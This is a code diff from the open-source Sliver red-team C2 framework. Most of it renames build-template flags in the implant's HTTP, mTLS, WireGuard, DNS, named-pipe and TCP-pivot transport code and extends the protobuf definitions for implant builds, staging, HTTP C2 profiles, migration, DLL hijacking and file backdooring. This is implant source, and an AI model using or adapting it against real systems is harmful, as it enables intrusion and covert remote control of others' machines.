curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.SessionFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) closeURL() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
|
||||
segments := []string{
|
||||
// {{range .HTTPC2ImplantConfig.ClosePaths}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
filenames := []string{
|
||||
// {{range .HTTPC2ImplantConfig.CloseFiles}}
|
||||
"{{.}}",
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames, "{{.HTTPC2ImplantConfig.CloseFileExt}}"))
|
||||
return curl
|
||||
}
|
||||
|
||||
// Must return at least a file name, path segments are optional
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
|
||||
genSegments := []string{}
|
||||
if 0 < len(segments) {
|
||||
n := insecureRand.Intn(len(segments)) // How many segments?
|
||||
min, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MinPaths}}")
|
||||
max, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MaxPaths}}")
|
||||
n := insecureRand.Intn(max-min+1) + min // How many segments?
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
genSegments = append(genSegments, seg)
|
||||
@@ -704,4 +708,4 @@ func httpsClient(address string, opts *HTTPOptions) *SliverHTTPClient {
|
||||
return client
|
||||
}
|
||||
|
||||
// {{end}} -HTTPc2Enabled
|
||||
// {{end}} -IncludeHTTP
|
||||
@@ -18,7 +18,7 @@ package mtls
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.MTLSc2Enabled}}
|
||||
// {{if .Config.IncludeMTLS}}
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
@@ -46,10 +46,10 @@ var (
|
||||
PingInterval = 2 * time.Minute
|
||||
|
||||
// caCertPEM - PEM encoded CA certificate
|
||||
caCertPEM = `{{.Config.MtlsCACert}}`
|
||||
caCertPEM = `{{.Build.MtlsCACert}}`
|
||||
|
||||
keyPEM = `{{.Config.MtlsKey}}`
|
||||
certPEM = `{{.Config.MtlsCert}}`
|
||||
keyPEM = `{{.Build.MtlsKey}}`
|
||||
certPEM = `{{.Build.MtlsCert}}`
|
||||
)
|
||||
|
||||
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
|
||||
@@ -186,4 +186,4 @@ func getTLSConfig() *tls.Config {
|
||||
return tlsConfig
|
||||
}
|
||||
|
||||
// {{end}} -MTLSc2Enabled
|
||||
// {{end}} -IncludeMTLS
|
||||
@@ -18,7 +18,7 @@ package pivotclients
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
// {{if .Config.IncludeNamePipe}}
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
@@ -63,4 +63,4 @@ func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*Net
|
||||
return pivot, nil
|
||||
}
|
||||
|
||||
// {{end}} -NamePipec2Enabled
|
||||
// {{end}} -IncludeNamePipe
|
||||
@@ -19,12 +19,12 @@ package transports
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if or .Config.WGc2Enabled .Config.HTTPc2Enabled}}
|
||||
// {{if or .Config.IncludeWG .Config.IncludeHTTP}}
|
||||
"net"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
|
||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||
"strconv"
|
||||
// {{end}}
|
||||
|
||||
@@ -32,14 +32,14 @@ import (
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.MTLSc2Enabled}}
|
||||
// {{if .Config.IncludeMTLS}}
|
||||
"crypto/tls"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/mtls"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
"errors"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
@@ -47,21 +47,21 @@ import (
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
// {{if .Config.IncludeHTTP}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient"
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.DNSc2Enabled}}
|
||||
// {{if .Config.IncludeDNS}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.TCPPivotc2Enabled}}
|
||||
// {{if .Config.IncludeTCP}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/pivotclients"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if not .Config.NamePipec2Enabled}}
|
||||
// {{if not .Config.IncludeNamePipe}}
|
||||
"io"
|
||||
"net/url"
|
||||
"sync"
|
||||
@@ -106,7 +106,7 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
|
||||
switch uri.Scheme {
|
||||
|
||||
// *** MTLS ***
|
||||
// {{if .Config.MTLSc2Enabled}}
|
||||
// {{if .Config.IncludeMTLS}}
|
||||
case "mtls":
|
||||
connection, err = mtlsConnect(uri)
|
||||
if err != nil {
|
||||
@@ -115,10 +115,10 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
// {{end}} - MTLSc2Enabled
|
||||
// {{end}} - IncludeMTLS
|
||||
case "wg":
|
||||
// *** WG ***
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
connection, err = wgConnect(uri)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -126,12 +126,12 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
// {{end}} - WGc2Enabled
|
||||
// {{end}} - IncludeWG
|
||||
case "https":
|
||||
fallthrough
|
||||
case "http":
|
||||
// *** HTTP ***
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
// {{if .Config.IncludeHTTP}}
|
||||
connection, err = httpConnect(uri)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -139,11 +139,11 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
// {{end}} - HTTPc2Enabled
|
||||
// {{end}} - IncludeHTTP
|
||||
|
||||
case "dns":
|
||||
// *** DNS ***
|
||||
// {{if .Config.DNSc2Enabled}}
|
||||
// {{if .Config.IncludeDNS}}
|
||||
connection, err = dnsConnect(uri)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -151,11 +151,11 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
// {{end}} - DNSc2Enabled
|
||||
// {{end}} - IncludeDNS
|
||||
|
||||
case "namedpipe":
|
||||
// *** Named Pipe ***
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
// {{if .Config.IncludeNamePipe}}
|
||||
connection, err = namedPipeConnect(uri)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -163,10 +163,10 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
// {{end}} -NamePipec2Enabled
|
||||
// {{end}} -IncludeNamePipe
|
||||
|
||||
case "tcppivot":
|
||||
// {{if .Config.TCPPivotc2Enabled}}
|
||||
// {{if .Config.IncludeTCP}}
|
||||
connection, err = tcpPivotConnect(uri)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -174,7 +174,7 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
// {{end}} -TCPPivotc2Enabled
|
||||
// {{end}} -IncludeTCP
|
||||
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
@@ -192,7 +192,7 @@ func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *C
|
||||
return nextConnection
|
||||
}
|
||||
|
||||
// {{if .Config.MTLSc2Enabled}}
|
||||
// {{if .Config.IncludeMTLS}}
|
||||
func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
send := make(chan *pb.Envelope)
|
||||
@@ -291,9 +291,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// {{end}} -MTLSc2Enabled
|
||||
// {{end}} -IncludeMTLS
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
send := make(chan *pb.Envelope)
|
||||
@@ -403,9 +403,9 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// {{end}} -WGc2Enabled
|
||||
// {{end}} -IncludeWG
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
// {{if .Config.IncludeHTTP}}
|
||||
func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
@@ -524,9 +524,9 @@ func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// {{end}} -HTTPc2Enabled
|
||||
// {{end}} -IncludeHTTP
|
||||
|
||||
// {{if .Config.DNSc2Enabled}}
|
||||
// {{if .Config.IncludeDNS}}
|
||||
func dnsConnect(uri *url.URL) (*Connection, error) {
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
@@ -631,9 +631,9 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// {{end}} - .DNSc2Enabled
|
||||
// {{end}} - .IncludeDNS
|
||||
|
||||
// {{if .Config.TCPPivotc2Enabled}}
|
||||
// {{if .Config.IncludeTCP}}
|
||||
func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
send := make(chan *pb.Envelope)
|
||||
@@ -764,4 +764,4 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// {{end}} -TCPPivotc2Enabled
|
||||
// {{end}} -IncludeTCP
|
||||
@@ -52,7 +52,7 @@ func C2Generator(abort <-chan struct{}, temporaryC2 ...string) <-chan *url.URL {
|
||||
} else {
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
c2Servers = append(c2Servers, func() string {
|
||||
return "{{$value}}" // {{$index}}
|
||||
return "{{$value.URL}}" // {{$index}}
|
||||
})
|
||||
// {{end}} - range
|
||||
}
|
||||
|
||||
@@ -20,7 +20,7 @@ package transports
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
// {{if .Config.IncludeNamePipe}}
|
||||
|
||||
import (
|
||||
"io"
|
||||
@@ -157,4 +157,4 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// {{end}} -NamePipec2Enabled
|
||||
// {{end}} -IncludeNamePipe
|
||||
@@ -20,7 +20,7 @@ package wireguard
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// {{if .Config.IncludeWG}}
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
@@ -53,8 +53,8 @@ var (
|
||||
tunnelNet *netstack.Net
|
||||
tunAddress string
|
||||
|
||||
wgImplantPrivKey = `{{.Config.WGImplantPrivKey}}`
|
||||
wgServerPubKey = `{{.Config.WGServerPubKey}}`
|
||||
wgImplantPrivKey = `{{.Build.WGImplantPrivKey}}`
|
||||
wgServerPubKey = `{{.Build.WGServerPubKey}}`
|
||||
wgPeerTunIP = `{{.Config.WGPeerTunIP}}`
|
||||
wgKeyExchangePort = getWgKeyExchangePort()
|
||||
wgTcpCommsPort = getWgTcpCommsPort()
|
||||
@@ -322,4 +322,4 @@ func getWgTcpCommsPort() int {
|
||||
return wgTcpCommsPort
|
||||
}
|
||||
|
||||
// {{end}} -WGc2Enabled
|
||||
// {{end}} -IncludeWG
|
||||
+4214
-2292
File diff suppressed because it is too large.
Load diff
+258
-77
@@ -110,9 +110,10 @@ message BeaconTasks {
|
||||
}
|
||||
|
||||
message ImplantC2 {
|
||||
uint32 Priority = 1;
|
||||
string URL = 2;
|
||||
string Options = 3; // Protocol specific options
|
||||
string ID = 1;
|
||||
uint32 Priority = 2;
|
||||
string URL = 3;
|
||||
string Options = 4; // Protocol specific options
|
||||
}
|
||||
|
||||
enum OutputFormat {
|
||||
@@ -125,32 +126,28 @@ enum OutputFormat {
|
||||
|
||||
message ImplantConfig {
|
||||
string ID = 1;
|
||||
bool IsBeacon = 2;
|
||||
int64 BeaconInterval = 3;
|
||||
int64 BeaconJitter = 4;
|
||||
repeated ImplantBuild ImplantBuilds = 2;
|
||||
string ImplantProfileID = 3;
|
||||
bool IsBeacon = 4;
|
||||
int64 BeaconInterval = 5;
|
||||
int64 BeaconJitter = 6;
|
||||
|
||||
string GOOS = 5;
|
||||
string GOARCH = 6;
|
||||
string Name = 7;
|
||||
string GOOS = 7;
|
||||
string GOARCH = 8;
|
||||
|
||||
bool Debug = 8;
|
||||
bool Evasion = 9;
|
||||
bool ObfuscateSymbols = 10;
|
||||
string TemplateName = 11;
|
||||
bool SGNEnabled = 12;
|
||||
bool Debug = 10;
|
||||
bool Evasion = 11;
|
||||
bool ObfuscateSymbols = 12;
|
||||
string TemplateName = 13;
|
||||
bool SGNEnabled = 14;
|
||||
|
||||
string MtlsCACert = 20;
|
||||
string MtlsCert = 21;
|
||||
string MtlsKey = 22;
|
||||
bool IncludeMTLS = 53;
|
||||
bool IncludeHTTP = 16;
|
||||
bool IncludeWG = 17;
|
||||
bool IncludeDNS = 18;
|
||||
bool IncludeNamePipe = 19;
|
||||
bool IncludeTCP = 20;
|
||||
|
||||
string AgeServerPublicKey = 23;
|
||||
string PeerPublicKey = 24;
|
||||
string PeerPrivateKey = 25;
|
||||
string PeerPublicKeySignature = 26;
|
||||
string MinisignServerPublicKey = 27;
|
||||
|
||||
string WGImplantPrivKey = 30;
|
||||
string WGServerPubKey = 31;
|
||||
string WGPeerTunIP = 32;
|
||||
uint32 WGKeyExchangePort = 33;
|
||||
uint32 WGTcpCommsPort = 34;
|
||||
@@ -173,15 +170,15 @@ message ImplantConfig {
|
||||
|
||||
OutputFormat Format = 100;
|
||||
bool IsSharedLib = 101;
|
||||
string FileName = 102;
|
||||
bool IsService = 103;
|
||||
bool IsShellcode = 104;
|
||||
bool RunAtLoad = 105;
|
||||
string DebugFile = 106;
|
||||
|
||||
bool NetGoEnabled = 107;
|
||||
bool TrafficEncodersEnabled = 108;
|
||||
repeated string TrafficEncoders = 109;
|
||||
string HTTPC2ConfigName = 150;
|
||||
bool NetGoEnabled = 151;
|
||||
bool TrafficEncodersEnabled = 152;
|
||||
repeated string TrafficEncoders = 153;
|
||||
|
||||
repeated commonpb.File Assets = 200;
|
||||
}
|
||||
@@ -218,17 +215,53 @@ message TrafficEncoderTests {
|
||||
|
||||
message ExternalImplantConfig {
|
||||
ImplantConfig Config = 1;
|
||||
string OTPSecret = 2;
|
||||
ImplantBuild Build = 2;
|
||||
HTTPC2Config HTTPC2 = 3;
|
||||
}
|
||||
|
||||
message ExternalImplantBinary {
|
||||
string Name = 1;
|
||||
string ImplantConfigID = 2;
|
||||
string ImplantBuildID = 2;
|
||||
commonpb.File File = 3;
|
||||
}
|
||||
|
||||
// Configs of previously built implants
|
||||
message ImplantBuilds { map<string, ImplantConfig> Configs = 1; }
|
||||
message ImplantBuilds {
|
||||
map<string, ImplantConfig> Configs = 1;
|
||||
map<string, ResourceID> ResourceIDs = 2;
|
||||
map<string, bool> staged = 3;
|
||||
}
|
||||
|
||||
message ImplantStageReq {
|
||||
repeated string Build = 1;
|
||||
}
|
||||
|
||||
message ImplantBuild {
|
||||
string ID = 1;
|
||||
string Name = 2;
|
||||
|
||||
string MD5 = 3;
|
||||
string SHA1 = 4;
|
||||
string SHA256 = 5;
|
||||
|
||||
bool Burned = 6;
|
||||
uint64 ImplantID = 7;
|
||||
|
||||
string ImplantConfigID = 8;
|
||||
string AgeServerPublicKey = 9;
|
||||
string PeerPublicKey = 10;
|
||||
string PeerPrivateKey = 11;
|
||||
string PeerPublicKeySignature = 12;
|
||||
string MinisignServerPublicKey = 13;
|
||||
string PeerPublicKeyDigest = 14;
|
||||
|
||||
string WGImplantPrivKey = 15;
|
||||
string WGServerPubKey = 16;
|
||||
string MtlsCACert = 17;
|
||||
string MtlsCert = 18;
|
||||
string MtlsKey = 19;
|
||||
bool Stage = 20;
|
||||
}
|
||||
|
||||
message CompilerTarget {
|
||||
string GOOS = 1; // The server's OS
|
||||
@@ -255,12 +288,13 @@ message DeleteReq { string Name = 1; }
|
||||
|
||||
// DNSCanary - Single canary and metadata
|
||||
message DNSCanary {
|
||||
string ImplantName = 1;
|
||||
string Domain = 2;
|
||||
bool Triggered = 3;
|
||||
string FirstTriggered = 4;
|
||||
string LatestTrigger = 5;
|
||||
uint32 Count = 6;
|
||||
string ID = 1;
|
||||
string ImplantName = 2;
|
||||
string Domain = 3;
|
||||
bool Triggered = 4;
|
||||
string FirstTriggered = 5;
|
||||
string LatestTrigger = 6;
|
||||
uint32 Count = 7;
|
||||
}
|
||||
|
||||
message Canaries { repeated DNSCanary Canaries = 1; }
|
||||
@@ -269,8 +303,9 @@ message Canaries { repeated DNSCanary Canaries = 1; }
|
||||
message UniqueWGIP { string IP = 1; }
|
||||
|
||||
message ImplantProfile {
|
||||
string Name = 1;
|
||||
ImplantConfig Config = 2;
|
||||
string ID = 1;
|
||||
string Name = 2;
|
||||
ImplantConfig Config = 3;
|
||||
}
|
||||
|
||||
message ImplantProfiles { repeated ImplantProfile Profiles = 1; }
|
||||
@@ -294,43 +329,53 @@ message Jobs { repeated Job Active = 1; }
|
||||
|
||||
message KillJobReq { uint32 ID = 1; }
|
||||
|
||||
message RestartJobReq {
|
||||
repeated uint32 JobIDs = 1;
|
||||
}
|
||||
|
||||
message KillJob {
|
||||
uint32 ID = 1;
|
||||
bool Success = 2;
|
||||
}
|
||||
|
||||
// [ Listeners ] ----------------------------------------
|
||||
message ListenerJob {
|
||||
string ID = 1;
|
||||
string Type = 2;
|
||||
uint32 JobID = 3;
|
||||
MTLSListenerReq MTLSConf = 4;
|
||||
WGListenerReq WGConf = 5;
|
||||
DNSListenerReq DNSConf = 6;
|
||||
HTTPListenerReq HTTPConf = 7;
|
||||
MultiplayerListenerReq MultiConf = 8;
|
||||
}
|
||||
|
||||
message MultiplayerListenerReq {
|
||||
string Host = 1;
|
||||
uint32 Port = 2;
|
||||
}
|
||||
|
||||
message MTLSListenerReq {
|
||||
string Host = 1;
|
||||
uint32 Port = 2;
|
||||
bool Persistent = 3;
|
||||
}
|
||||
|
||||
message MTLSListener { uint32 JobID = 1; }
|
||||
|
||||
message WGListenerReq {
|
||||
string Host = 6;
|
||||
uint32 Port = 1;
|
||||
string TunIP = 2;
|
||||
uint32 NPort = 3;
|
||||
uint32 KeyPort = 4;
|
||||
bool Persistent = 5;
|
||||
}
|
||||
|
||||
message WGListener { uint32 JobID = 1; }
|
||||
|
||||
message DNSListenerReq {
|
||||
repeated string Domains = 1;
|
||||
bool Canaries = 2;
|
||||
string Host = 3;
|
||||
uint32 Port = 4;
|
||||
bool Persistent = 5;
|
||||
bool EnforceOTP = 6;
|
||||
bool EnforceOTP = 6;
|
||||
}
|
||||
|
||||
message DNSListener { uint32 JobID = 1; }
|
||||
|
||||
message HTTPListenerReq {
|
||||
string Domain = 1;
|
||||
string Host = 2;
|
||||
@@ -340,7 +385,6 @@ message HTTPListenerReq {
|
||||
bytes Cert = 6;
|
||||
bytes Key = 7;
|
||||
bool ACME = 8;
|
||||
bool Persistent = 9;
|
||||
bool EnforceOTP = 10;
|
||||
int64 LongPollTimeout = 11;
|
||||
int64 LongPollJitter = 12;
|
||||
@@ -375,11 +419,10 @@ message TCPPivot {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message HTTPListener { uint32 JobID = 1; }
|
||||
|
||||
// [ Commands ] ----------------------------------------
|
||||
|
||||
message Sessions { repeated Session Sessions = 1; }
|
||||
// [ commands ] ----------------------------------------
|
||||
message Sessions {
|
||||
repeated Session Sessions = 1;
|
||||
}
|
||||
|
||||
message RenameReq {
|
||||
string SessionID = 1;
|
||||
@@ -387,7 +430,21 @@ message RenameReq {
|
||||
string Name = 3;
|
||||
}
|
||||
|
||||
message GenerateReq { ImplantConfig Config = 1; }
|
||||
message GenerateReq {
|
||||
ImplantConfig Config = 1;
|
||||
string Name = 2;
|
||||
}
|
||||
|
||||
message GenerateStageReq {
|
||||
string Profile = 1;
|
||||
string Name = 2;
|
||||
string AESEncryptKey = 3;
|
||||
string AESEncryptIv = 4;
|
||||
string RC4EncryptKey = 5;
|
||||
bool PrependSize = 6;
|
||||
string CompressF = 7;
|
||||
string Compress = 8;
|
||||
}
|
||||
|
||||
message Generate { commonpb.File File = 1; }
|
||||
|
||||
@@ -448,6 +505,7 @@ message MsfStagerReq {
|
||||
StageProtocol Protocol = 6;
|
||||
repeated string BadChars = 7;
|
||||
string AdvOptions = 8;
|
||||
string HTTPC2ConfigName = 9;
|
||||
}
|
||||
|
||||
message MsfStager { commonpb.File File = 1; }
|
||||
@@ -457,6 +515,7 @@ message MsfStager { commonpb.File File = 1; }
|
||||
message GetSystemReq {
|
||||
string HostingProcess = 1;
|
||||
ImplantConfig Config = 2;
|
||||
string Name = 3;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -467,6 +526,7 @@ message MigrateReq {
|
||||
uint32 Pid = 1;
|
||||
ImplantConfig Config = 2;
|
||||
ShellcodeEncoder Encoder = 3;
|
||||
string Name = 4;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -523,9 +583,11 @@ message Operator {
|
||||
|
||||
// [ Websites ] ----------------------------------------
|
||||
message WebContent {
|
||||
string Path = 1;
|
||||
string ContentType = 2;
|
||||
uint64 Size = 3 [ jstype = JS_STRING ];
|
||||
string ID = 1;
|
||||
string WebsiteID = 2;
|
||||
string Path = 3;
|
||||
string ContentType = 4;
|
||||
uint64 Size = 5 [ jstype = JS_STRING ];
|
||||
|
||||
bytes Content = 9;
|
||||
}
|
||||
@@ -541,8 +603,9 @@ message WebsiteRemoveContent {
|
||||
}
|
||||
|
||||
message Website {
|
||||
string Name = 1;
|
||||
map<string, WebContent> Contents = 2;
|
||||
string ID = 1;
|
||||
string Name = 2;
|
||||
map<string, WebContent> Contents = 3;
|
||||
}
|
||||
|
||||
message Websites { repeated Website Websites = 1; }
|
||||
@@ -585,15 +648,16 @@ message IOC {
|
||||
message ExtensionData { string Output = 1; }
|
||||
|
||||
message Host {
|
||||
string Hostname = 1;
|
||||
string HostUUID = 2;
|
||||
string OSVersion = 3;
|
||||
string ID = 1;
|
||||
string Hostname = 2;
|
||||
string HostUUID = 3;
|
||||
string OSVersion = 4;
|
||||
|
||||
repeated IOC IOCs = 4;
|
||||
map<string, ExtensionData> ExtensionData = 5;
|
||||
repeated IOC IOCs = 5;
|
||||
map<string, ExtensionData> ExtensionData = 6;
|
||||
|
||||
string Locale = 6;
|
||||
int64 FirstContact = 7;
|
||||
string Locale = 7;
|
||||
int64 FirstContact = 8;
|
||||
}
|
||||
|
||||
message AllHosts { repeated Host Hosts = 1; }
|
||||
@@ -605,6 +669,7 @@ message DllHijackReq {
|
||||
bytes ReferenceDLL = 3;
|
||||
bytes TargetDLL = 4;
|
||||
string ProfileName = 5;
|
||||
string Name = 6;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -614,6 +679,7 @@ message DllHijack { commonpb.Response Response = 9; }
|
||||
message BackdoorReq {
|
||||
string FilePath = 1;
|
||||
string ProfileName = 2;
|
||||
string Name = 3;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
@@ -649,6 +715,7 @@ message ShellcodeEncoderMap { map<string, ShellcodeEncoder> Encoders = 1; }
|
||||
message ExternalGenerateReq {
|
||||
ImplantConfig Config = 1;
|
||||
string BuilderName = 2;
|
||||
string Name = 3;
|
||||
}
|
||||
|
||||
message Builders { repeated Builder Builders = 1; }
|
||||
@@ -661,6 +728,99 @@ message Builder {
|
||||
repeated string Templates = 5;
|
||||
repeated CompilerTarget Targets = 6;
|
||||
repeated CrossCompiler CrossCompilers = 7;
|
||||
|
||||
}
|
||||
|
||||
// [ HTTP C2 ] ----------------------------------------
|
||||
message HTTPC2Configs { repeated HTTPC2Config configs = 1; }
|
||||
|
||||
message C2ProfileReq {
|
||||
string Name = 1;
|
||||
}
|
||||
|
||||
message HTTPC2ConfigReq {
|
||||
bool overwrite = 1;
|
||||
HTTPC2Config C2Config = 2;
|
||||
}
|
||||
|
||||
message HTTPC2Config {
|
||||
string ID = 1;
|
||||
int64 Created = 2;
|
||||
|
||||
string Name = 3;
|
||||
|
||||
HTTPC2ServerConfig ServerConfig = 4;
|
||||
HTTPC2ImplantConfig ImplantConfig = 5;
|
||||
}
|
||||
|
||||
message HTTPC2ServerConfig {
|
||||
string ID = 1;
|
||||
|
||||
bool RandomVersionHeaders = 2;
|
||||
repeated HTTPC2Header Headers = 3;
|
||||
repeated HTTPC2Cookie Cookies = 4;
|
||||
}
|
||||
|
||||
message HTTPC2ImplantConfig {
|
||||
string ID = 1;
|
||||
|
||||
string UserAgent = 2;
|
||||
int32 ChromeBaseVersion = 3;
|
||||
string MacOSVersion = 4;
|
||||
string NonceQueryArgChars = 5;
|
||||
repeated HTTPC2URLParameter ExtraURLParameters = 6;
|
||||
repeated HTTPC2Header Headers = 7;
|
||||
|
||||
int32 MaxFiles = 8;
|
||||
int32 MinFiles = 9;
|
||||
int32 MaxPaths = 10;
|
||||
int32 MinPaths = 11;
|
||||
|
||||
string StagerFileExtension = 12;
|
||||
string PollFileExtension = 13;
|
||||
string StartSessionFileExtension = 14;
|
||||
string SessionFileExtension = 15;
|
||||
string CloseFileExtension = 16;
|
||||
|
||||
repeated HTTPC2PathSegment PathSegments = 17;
|
||||
}
|
||||
|
||||
message HTTPC2Cookie {
|
||||
string ID = 1;
|
||||
|
||||
string Name = 2;
|
||||
}
|
||||
|
||||
message HTTPC2Header {
|
||||
string ID = 1;
|
||||
|
||||
string Method = 2;
|
||||
string Name = 3;
|
||||
string Value = 4;
|
||||
int32 Probability = 5;
|
||||
}
|
||||
|
||||
message HTTPC2URLParameter {
|
||||
string ID = 1;
|
||||
|
||||
string Method = 2;
|
||||
string Name = 3;
|
||||
string Value = 4;
|
||||
int32 Probability = 5;
|
||||
}
|
||||
|
||||
enum HTTPC2SegmentType {
|
||||
POLL = 0;
|
||||
SESSION = 1;
|
||||
CLOSE = 2;
|
||||
}
|
||||
|
||||
message HTTPC2PathSegment {
|
||||
string ID = 1;
|
||||
|
||||
bool IsFile = 2;
|
||||
HTTPC2SegmentType SegmentType = 3;
|
||||
string Value = 4;
|
||||
}
|
||||
|
||||
// [ Credentials ] ----------------------------------------
|
||||
@@ -868,14 +1028,15 @@ message CrackTask {
|
||||
}
|
||||
|
||||
message Crackstation {
|
||||
string Name = 1;
|
||||
string OperatorName = 2;
|
||||
string GOOS = 3; // The cracker's OS
|
||||
string GOARCH = 4; // The cracker's Arch
|
||||
string HashcatVersion = 5;
|
||||
string HostUUID = 6;
|
||||
string Version = 7;
|
||||
map<int32, uint64> Benchmarks = 8;
|
||||
string ID = 1;
|
||||
string Name = 2;
|
||||
string OperatorName = 3;
|
||||
string GOOS = 4; // The cracker's OS
|
||||
string GOARCH = 5; // The cracker's Arch
|
||||
string HashcatVersion = 6;
|
||||
string HostUUID = 7;
|
||||
string Version = 8;
|
||||
map<int32, uint64> Benchmarks = 9;
|
||||
|
||||
repeated CUDABackendInfo CUDA = 100;
|
||||
repeated MetalBackendInfo Metal = 101;
|
||||
@@ -1119,3 +1280,23 @@ message CrackFileChunk {
|
||||
|
||||
bytes Data = 9;
|
||||
}
|
||||
|
||||
// watchtower
|
||||
message MonitoringProviders {
|
||||
repeated MonitoringProvider providers = 1;
|
||||
}
|
||||
|
||||
message MonitoringProvider {
|
||||
string ID = 1;
|
||||
string Type = 2;
|
||||
string APIKey = 3;
|
||||
string APIPassword = 4;
|
||||
}
|
||||
|
||||
// resource IDs
|
||||
message ResourceID {
|
||||
string ID = 1;
|
||||
string Type = 2;
|
||||
string Name = 3;
|
||||
uint64 Value = 4;
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
// Code generated by protoc-gen-go. DO NOT EDIT.
|
||||
// versions:
|
||||
// protoc-gen-go v1.26.0
|
||||
// protoc v3.15.8
|
||||
// protoc-gen-go v1.31.0
